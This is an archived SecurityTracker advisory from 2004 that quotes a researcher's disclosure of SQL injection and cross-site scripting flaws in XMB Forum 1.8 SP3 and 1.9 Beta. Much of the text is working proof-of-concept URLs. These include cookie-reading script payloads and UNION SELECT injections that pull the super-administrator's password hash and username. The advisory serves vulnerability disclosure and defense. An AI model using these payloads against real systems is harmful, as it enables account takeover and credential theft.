Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
XMB Forum 'forumdisplay.php' and Other Scripts Permit SQL Injection and Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1009561
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Mar 26 2004
|
Impact: Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Version(s): 1.8 Partagium SP3; 1.9 Nexus Beta
|
Description: Several vulnerabilities were reported in XMB Forum. A remote user can inject SQL commands and conduct cross-site scripting attacks.
Janek Vind (waraxe) reported that the 'forumdisplay.php', 'member.php', 'misc.php', and 'today.php' scripts do not properly validate
user-supplied input. A remote user can submit a specially crafted URL to execute SQL commands on the underlying database.
In
the 1.9 Beta version, the 'member.php', 'misc.php', and 'today.php' scripts are reportedly affected. In these files, the user supplied
'restrict' parameter is not validated. A remote user can inject SQL commands and conduct cross-site scripting attacks. Some demonstration
exploit URLs are provided:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=foobar
http://localhost/xmb19beta/member.php?action=viewpro&m
ember=waraxe&restrict=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY
%20p.fid%20UNION%20SELECT%20password,null,9
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%2
0SELECT%20username,null,9
http://localhost/xmb19beta/misc.php?action=search&restrict=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/misc.php?act
ion=search&restrict=%20private=-99%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,
1%20LIMIT%201%20/*
http://localhost/xmb19beta/today.
php?restrict=<body%20onload=alert(document.cookie);>
In both 1.8 SP3 and the 1.9 Beta version, the 'forumdisplay.php' script
does not properly validate user-supplied input in the 'tpp' parameter. A demonstration exploit [that will only work if the user
is not logged in] is provided:
http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=alert(document.cookie);>
It
is also reported that several scripts are vulnerable to cross-site scripting attacks, including 'xmb.php', 'editprofile.php' (beta
version only), 'u2u.php', 'stats.php', 'post.php', and 'forumdisplay.php'. A remote user can create a specially crafted URL that,
when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate
from the site running the XMB Forum software and will run in the security context of that site. As a result, the code will be able
to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted
by the target user via web form to the site, or take actions on the site acting as the target user. Some demonstration exploit
URLs are provided:
http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document.cookie);>
http://localhost/xmb19beta/editprofile.php?u
ser=notexist_foobar&u2uheader=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(document.cookie);>
http
://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&replymost="
></textarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&latest="></textarea><body%20onload=alert(document.cookie);>
htt
p://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></textarea><body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/post.php?action=newthre
ad&fid=1&icons=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onload=alert(document.cookie);>
http://l
ocalhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onload=
alert(document.cookie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/forumdispla
y.php?fid=1&forumdisplay=<body%20onload=alert(document.cookie);>
It is also reported that the 1.9 beta version includes 'phpinfo.php'
by default. A remote user can query this script to gain information about the target system's PHP configuration, the report said.
Also, a remote user can conduct cross-site scripting attacks using this script:
http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(document.cookie);<
;/script>
|
Impact: A remote user can inject SQL commands to be executed by the underlying database.
A remote user can access the target user's cookies
(including authentication cookies), if any, associated with the site running the XMB Forum software, access data recently submitted
by the target user via web form to the site, or take actions on the site acting as the target user.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.xmbforum.com/home/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: Janek Vind <come2waraxe@yahoo.com>
|
Message History:
None.
|
Source Message Contents
|
Date: 26 Mar 2004 17:24:44 -0000
From: Janek Vind <come2waraxe@yahoo.com>
Subject: [waraxe-2004-SA#012 - Multiple vulnerabilities in XMB Forum 1.8
|
{================================================================================}
{ [waraxe-2004-SA#012] }
{================================================================================}
{ }
{ [ Multiple vulnerabilities in XMB 1.8 Partagium SP3 and 1.9 Nexus Beta ] }
{ }
{================================================================================}
Author: Janek Vind "waraxe"
Date: 26. March 2004
Location: Estonia, Tartu
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Extreme Messageboard aka XMB is very popular and feature rich forum,
based on php and mysql. More information can be found on sites
http://www.aventure-media.co.uk and http://www.xmbforum.com
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ok, we have lot's of the security flaws to disclosure, so let's begin...
1. php and webserver info disclosure and possible XSS
Beginning with XMB 1.9 beta versions, file named phpinfo.php is shipped with forum
software. Original code:
<?php
/* $Id: phpinfo.php, v1.00 2003/10/11 10:45:18 Tularis Exp $ */
phpinfo();
?>
In this way ANYONE can get lot's of insider information from webserver and php engine
environment - good startup for attacker...
And even "better" - phpinfo.php can be used for exploiting the XSS:
http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(document.cookie);</s cript>
2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta
Example http request:
http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document. cookie);>
Remark: Log off before trying this or it will not work!
3. XSS in editprofile.php --> only in 1.9 beta
Example request:
http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uheader=<body%20onload=alert (document.cookie);>
4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta
Example request:
http://localhost/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(document.cookie);>
5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta
Reason --> uninitialized variables $viewmost,$replymost,$latest
http://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><body%20o nload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&replymost="></textarea><body%20 onload=alert(document.cookie);>
http://localhost/xmb19beta/stats.php?action=view&latest="></textarea><body%20onl oad=alert(document.cookie);>
6. XSS in post.php
Reason --> uninitialized variables $message,$icons --> works in 1.8 SP3 and 1.9 beta
http://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></textarea>< body%20onload=alert(document.cookie);>
http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=<body%20onload=alert(docu ment.cookie);>
7. XSS in forumdisplay.php --> works in 1.8 SP3 and 1.9 beta
Reason --> uninitialized variables $threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay
http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onload=alert(document.coo kie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onload=alert(document.cook ie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onload=alert(document.cook ie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onload=alert(document.coo kie);>
http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay=<body%20onload=alert(document.c ookie);>
8. Sql injection and XSS in forumdisplay.php
http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=alert(document.cookie);>
Remark: will work only, when no user logged in, because logging in will override the $tpp value.
*************** [really scary sql injection bugs] ***************
9. sql injection and XSS in member.php --> only in 1.9 beta version
Let's look at original code, line 461:
switch($self['status']){
case 'member';
$restrict .= " f.private !='3' AND";
case 'Moderator';
case 'Super Moderator';
$restrict .= " f.private != '2' AND";
case 'Administrator';
$restrict .= " f.userlist = '' AND f.password = '' AND";
case 'Super Administrator';
break;
default:
$restrict .= " f.private !='3' AND f.private != '2' AND f.userlist = '' AND f.password = '' AND";
break;
}
Hmm, $restrict is not initialized anywhere! So we can delivere here all what we want:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=foobar
You have an error in your SQL syntax.
XSS:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=<body%20onload =alert(document.cookie);>
And now the funniest part - how to get superadmin's password's md5 hash from database:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99% 20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT %201%20/*
Or u want superadmin's username? Here it is:
http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99% 20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT %201%20/*
10. sql injection and XSS in misc.php --> only in 1.9 beta version
http://localhost/xmb19beta/misc.php?action=search&restrict=<body%20onload=alert(document.cooki e);>
http://localhost/xmb19beta/misc.php?action=search&restrict=%20private=-99%20UNION%20SELECT%20null ,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,n ull,null,null%20FROM%20xmb_members%20WHERE%20uid=
1%20LIMIT%201%20/*
11. sql injection and XSS in today.php --> only in 1.9 beta version
http://localhost/xmb19beta/today.php?restrict=<body%20onload=alert(document.cookie);>
*************** [/really scary sql injection bugs] ***************
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
---------------------------------- [ EOF ] ------------------------------------
|
|
Go to the Top of This SecurityTracker Archive Page
|